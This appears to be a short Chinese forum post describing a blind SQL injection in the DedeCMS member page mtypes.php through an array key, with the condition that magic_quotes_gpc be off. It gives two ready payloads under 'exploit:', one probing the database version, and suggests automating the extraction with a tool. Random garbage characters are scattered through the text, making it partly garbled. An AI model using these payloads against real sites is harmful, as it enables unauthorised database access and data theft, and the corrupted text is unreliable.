需要magic_quotes_gpc = Off,所以说是鸡肋啊.4 [7 I) m$ d) q- x# S, H, Z3 g
2 K. N* n2 \+ ^! T & r+ d8 X+ K: d7 |+ P/ L
发生在数组key里的注射漏洞,有点意思.
! u; |( X! O# \2 p: @
: \9 `, o/ ^2 U( g" ]. E这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
- v# ]+ }: C# G& X6 L) y ( D$ F; i( U9 \
http://www.xxx.com /dede/member/mtypes.php?dopost=save p. @7 ^4 W6 v# L0 o# V! P
2 ]$ u1 S/ h1 b
exploit:
, J& Z6 S7 n. J* ]8 D8 P2 l$ c2 p! ^mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r. v" S; R0 X: W, e5 I. ~) C
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r4 N2 O' J, q0 j) ?0 W
|
发表于 2012-12-20 08:08:09
收藏
支持
反对